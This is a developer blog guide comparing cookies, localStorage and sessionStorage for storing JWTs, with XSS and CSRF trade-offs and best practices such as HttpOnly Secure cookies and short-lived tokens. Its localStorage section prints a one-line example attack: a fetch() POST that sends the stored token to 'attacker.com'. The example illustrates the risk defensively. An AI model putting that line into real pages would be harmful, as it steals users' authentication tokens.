Guides⏱ 4 min read

Where to Store JWT: Cookies vs LocalStorage vs SessionStorage

Compare cookies, localStorage, and sessionStorage for JWT storage. Learn the security trade-offs, best practices, and how to inspect JWTs safely.

Table of Contents

Storing a JWT is usually harder than generating one.

A perfectly signed token doesn’t help if an attacker can steal it through XSS or force a browser to send it through CSRF. Choosing between Cookies, localStorage, and sessionStorage directly affects your application’s security model.

Here’s the short answer:

StoragePersistentAccessible via JavaScriptXSS RiskCSRF RiskRecommended
HttpOnly Cookie✅ Yes❌ NoLowMedium (mitigate with SameSite & CSRF tokens)⭐ Best for production
localStorage✅ Yes✅ YesHighNoneGood only for low-risk apps
sessionStorage❌ Until tab closes✅ YesHighNoneBetter than localStorage for temporary sessions

JWT Storage Comparison

// localStorage
localStorage.setItem("token", jwt);

// sessionStorage
sessionStorage.setItem("token", jwt);

// Cookie (typically set by the backend)
Set-Cookie:
access_token=JWT;
HttpOnly;
Secure;
SameSite=Lax;

Option 1: Store JWT in Cookies

HttpOnly cookies are the safest place to store authentication tokens for most web applications.

Because JavaScript cannot read an HttpOnly cookie, an XSS attack cannot simply execute:

document.cookie;

to steal your access token.

Advantages

  • Protected from JavaScript access
  • Works naturally with browser authentication
  • Supported by all modern browsers
  • Recommended by most security experts

Disadvantages

Cookies are automatically attached to requests.

That introduces CSRF (Cross-Site Request Forgery) risks unless you configure:

  • SameSite=Lax
  • SameSite=Strict
  • CSRF tokens
  • Origin validation

Example

Set-Cookie:
access_token=eyJhbGciOi...
HttpOnly
Secure
SameSite=Lax

For production applications, this is usually the preferred approach.


Option 2: Store JWT in localStorage

Many frontend tutorials store tokens in localStorage because it’s simple. MDN’s localStorage reference explains how it persists across sessions.

localStorage.setItem('token', jwt);

const token = localStorage.getItem('token');

The token survives:

  • Browser refresh
  • Browser restart
  • New tabs

This improves user experience.

Advantages

  • Very easy to implement
  • Persistent storage
  • Works well with SPAs
  • No automatic CSRF exposure

Security Risks

Everything stored in localStorage is readable by JavaScript.

If your application has an XSS vulnerability:

fetch('https://attacker.com', {
  method: 'POST',
  body: localStorage.getItem('token'),
});

The attacker now owns your authentication token.

This is why localStorage is generally not recommended for highly sensitive authentication.


Option 3: Store JWT in sessionStorage

sessionStorage behaves similarly to localStorage. Unlike cookies, which are described in MDN’s guide to HTTP cookies, sessionStorage is bound to a single tab.

sessionStorage.setItem('token', jwt);

The major difference:

  • Data disappears when the browser tab closes.

Advantages

  • Automatically cleared after session ends
  • Simple API
  • No persistence after closing the tab

Disadvantages

Like localStorage, sessionStorage is fully accessible through JavaScript.

That means XSS attacks can still steal tokens.


Cookies vs localStorage vs sessionStorage

FeatureCookieslocalStoragesessionStorage
PersistentYesYesNo
JavaScript AccessOptional (HttpOnly = No)YesYes
XSS ProtectionHighLowLow
CSRF Protection NeededYesNoNo
Best for Authentication✅ Yes⚠ Sometimes⚠ Rarely

Which JWT Storage Should You Choose?

Use Cookies when

  • Building production SaaS applications
  • Handling payments
  • Healthcare systems
  • Banking
  • Enterprise software

Use localStorage when

  • Building demos
  • Learning authentication
  • Internal dashboards
  • Low-risk applications

Use sessionStorage when

  • Temporary authentication
  • Kiosk systems
  • Shared computers
  • Multi-tab isolation is acceptable

Best Practice Architecture

A common production approach is:

  • Store Refresh Token inside an HttpOnly Secure Cookie
  • Keep Access Token short-lived
  • Rotate refresh tokens regularly
  • Use HTTPS everywhere
  • Enable SameSite=Lax or Strict
  • Implement CSRF protection

This balances usability and security while reducing the impact of token theft.


Inspect JWTs Safely

Whether you’re debugging authentication issues or checking claims like exp, iat, aud, or iss, avoid pasting tokens into tools that upload data to remote servers.

jwt.io’s debugger, for example, decodes JWTs entirely inside your browser. No token data is sent to a backend, making it useful when working with sensitive authentication payloads. It can inspect:

  • Header
  • Payload
  • Expiration time
  • Claims
  • Signature structure

If you’re debugging API responses, your browser devtools or the jq CLI are useful for reading formatted JSON payloads, while the command-line base64 utility helps understand Base64-encoded data often encountered in authentication workflows. These options run locally for improved privacy.


Common Mistakes

Storing refresh tokens in localStorage

Refresh tokens usually have a much longer lifetime than access tokens. If an attacker steals one, they can often generate new access tokens for an extended period.

Long-lived JWTs

Access tokens should expire quickly.

Typical expiration:

  • 5 minutes
  • 15 minutes
  • 30 minutes

Not:

  • 30 days
  • 90 days
  • Never

Ignoring XSS

Even the strongest JWT signing algorithm cannot protect a token that’s already been stolen through client-side JavaScript.


FAQs

Is localStorage insecure?

Not inherently. The biggest concern is that any successful XSS attack can read its contents.

Are HttpOnly cookies completely secure?

No. They reduce XSS risk but still require CSRF protections and secure cookie attributes.

Should I store refresh tokens in cookies?

Yes. Production systems commonly store refresh tokens in HttpOnly, Secure cookies.

Should SPAs always use cookies?

Modern SPAs increasingly use HttpOnly cookies because browsers now provide strong protections like SameSite.

Can I decode a JWT without verifying it?

Yes. Decoding simply reads the Base64-encoded header and payload. It does not verify the signature or confirm the token is trustworthy.


Final Recommendation

For most production applications:

  • ✅ Store authentication tokens in HttpOnly Secure Cookies
  • ✅ Enable SameSite
  • ✅ Protect against CSRF
  • ✅ Keep access tokens short-lived
  • ✅ Rotate refresh tokens

For debugging JWTs and API payloads during development, local utilities like jwt.io’s debugger, your browser devtools, and the jq CLI let you inspect token claims and payloads without sending sensitive data to external services.

Lucky Yaduvanshi
Written by Author

Lucky Yaduvanshi

Computer Science Student & Creator of CodAI. Passionate about 100% offline local AI software tools.

Back to All Developer Guides

Related Posts

View All Posts »